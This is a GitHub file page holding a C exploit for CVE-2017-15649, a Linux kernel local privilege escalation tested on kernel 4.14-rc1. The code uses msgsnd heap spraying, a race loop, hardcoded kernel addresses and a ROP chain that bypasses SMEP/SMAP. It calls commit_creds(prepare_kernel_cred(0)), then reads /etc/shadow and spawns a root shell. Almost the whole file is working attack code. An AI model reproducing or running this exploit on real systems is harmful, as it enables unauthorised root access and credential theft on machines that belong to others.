-
Notifications
You must be signed in to change notification settings - Fork 107
Expand file tree
/
Copy pathexploit.c
More file actions
298 lines (264 loc) · 5.69 KB
/
Copy pathexploit.c
File metadata and controls
298 lines (264 loc) · 5.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
/*
* A LPE exploit for cve-2017-15649
* including a SMEP/SMAP bypass
* Tested on custom compiled kernel 4.14-rc1 (default configuration)
* Usage:
* $ make
* $ ./exploit
* 1 iteration of race
* 2 iteration of race
* ...
* 917 iteration of race
* got r00t ^_^
* # cat /etc/shadow
* ...
* root:*:17565:0:99999:7:::
* daemon:*:17565:0:99999:7:::
* bin:*:17565:0:99999:7:::
* sys:*:17565:0:99999:7:::
* ...
*
* author: ww9210
*/
#include "poc_wrapper_15649.h"
#include <netinet/ip.h>
#include <stdint.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
char payload[4000];
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define SPRAY_PROCESS 16
#define ASYNC_WAIT 100000
#define STRUCT_LEN 3200
#define NUM_MSG 5
/* heap spray */
struct mmsghdr
{
struct msghdr msg_hdr;
unsigned int msg_len;
};
struct msgbuf
{
long mtype;
char mtext[STRUCT_LEN];
};
struct msgbuf msg={0x4141414141414141,{0}};
int msqid;
int msgsnd_spray(char* t)
{
int i;
unsigned long int *ptr;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1)
{
perror("msgget");
exit(1);
}
memcpy(msg.mtext,t,STRUCT_LEN-1);
msg.mtext[STRUCT_LEN]=0;
for( i = 0; i < NUM_MSG; i++)
{
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1)
{
perror("msgsnd");
exit(1);
}
}
}
int msgrcv_spray()
{
struct msgbuf msg_rcv;
int i;
for(i = 0; i < NUM_MSG; i++)
{
if (msgrcv(msqid, (void *) &msg_rcv, sizeof(msg_rcv.mtext), 0,
MSG_NOERROR | IPC_NOWAIT) == -1)
{
if(errno != ENOMSG)
{
perror("msgrcv");
exit(EXIT_FAILURE);
}
}
else
{
//printf("message received: %s\n", msg.mtext);
}
}
return 0;
}
void do_fork_msgsnd_spray(char* t)
{
int i;
pid_t pid;
msgsnd_spray(t);
for(i = 0;i<SPRAY_PROCESS;i++)
{
pid = fork();
if (pid == -1)
{
perror("fork");
exit(0);
}
if (pid == 0)
{
msgsnd_spray(t);
exit(0);
}
}
}
void get_shell()
{
system("cat /etc/shadow");
system("whoami");
char shell[] = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
unsigned long user_cs, user_ss, user_rflags;
unsigned long exit_stack;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory"
);
}
void get_root_1(){
commit_creds(prepare_kernel_cred(0));
}
void exploit_start()
{
return;
}
void exploit_state()
{
asm(
"movq %0, 0x00(%%rsp)\n"
"movq $0xffffffff81788b6d, 0x08(%%rsp)\n"
"movq $0xffffffff81f438f0, %%rax\n"
"movq %%rax, 0x00(%%rax)\n"
"ret"
: : "r"(get_root_1)
);
}
void exploit_end()
{
return;
}
void *alloc_umem(void* addr, size_t size)
{
void * tmp = mmap((void*)addr,size,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_SHARED|MAP_ANONYMOUS,-1,0);
if(tmp == (char*) -1)
{
perror("mmap");
return NULL;
}
return tmp;
}
long r[16];
void loop()
{
memset(r, -1, sizeof(r));
r[0] = syscall(__NR_mmap, 0x20000000ul, 0x8000ul, 0x3ul, 0x32ul,
0xfffffffffffffffful, 0x0ul);
r[3] = syscall(__NR_mmap, 0x20007000ul, 0x1000ul, 0x0ul, 0x12ul, r[2],
0x0ul);
r[4] = syscall(__NR_socket, 0xaul, 0x2ul, 0x0ul);
memcpy((void*)0x20007000, "\x20", 1);
*(uint16_t*)0x20000fe4 = (uint16_t)0xa;
*(uint16_t*)0x20000fe6 = (uint16_t)0x204e;
*(uint32_t*)0x20000fe8 = (uint32_t)0x0;
*(uint64_t*)0x20000fec = (uint64_t)0x0;
*(uint64_t*)0x20000ff4 = (uint64_t)0x100000000000000;
*(uint32_t*)0x20000ffc = (uint32_t)0x0;
r[12] = syscall(__NR_sendto, r[4], 0x20007000ul, 0x1ul, 0x0ul,
0x20000fe4ul, 0x1cul);
}
int process_count=0;
int main()
{
int i;
int ret;
commit_creds = (_commit_creds)0xffffffff81075f70;
prepare_kernel_cred=(_prepare_kernel_cred)0xffffffff81076300;
exit_stack = (unsigned long)alloc_umem((void*)(exit_stack-0x4000), 0x8000);
unsigned long shellcode_start = 0xdeadbeef;
alloc_umem((void*)(shellcode_start & (unsigned long)0xfffff000),4096*2);
memset((char*)shellcode_start,0xcc,4096);
memcpy((char*)(shellcode_start), (char*)exploit_state, (int)(&exploit_end - &exploit_start));
pid_t pid;
memset(payload,0x61,4000);
*(unsigned long*)(payload+0x810)=0x6f0;
*(unsigned long*)(payload+0x820)=0xdeadbeef;
*(unsigned long*)(payload+0x828)=0xffffffff814f7dc8;
*(unsigned long*)(payload+0x828)=0xffffffff81602459;
*(unsigned long*)(payload+0x828)=0xffffffff81431358;
*(unsigned long*)(payload+0x828)=0xffffffff8172e4a6;
*(unsigned long*)(payload+0x830)=0x41414141;
*(unsigned long*)(payload+0x830)=0xffffffff81044c64;
*(unsigned long*)(payload+0x838)=0xffffffff81431358;
*(unsigned long*)(payload+0x838)=0xffffffff8172e4a6;
*(unsigned long*)(payload+0xb70)=0x6f0;
fork:
if(process_count>1337){
exit:
printf("race not win, please try again\n");
return 0;
}
pid=fork();
if(pid<0)
{
perror("fork");
goto exit;
}
if(pid == 0)
{ //child process is in sandbox
main_15649();
}
else
{ //not in sandbox
pid = fork();
if(pid<0)
{
perror("fork");
goto exit;
}
if(pid==0)
{
usleep(ASYNC_WAIT);
do_fork_msgsnd_spray(payload);
save_state();
i = *(int*)shellcode_start;
loop();
//check if we got root
if (getuid() == 0)
{
sleep(1);
puts("got r00t ^_^");
get_shell();
pause();
}
printf("%dth iteration of race\n",process_count++);
exit(0);
}
ret = waitpid(pid,0,0);
process_count++;
usleep(ASYNC_WAIT);
goto fork;
}
pause();//no exit
return 0;
}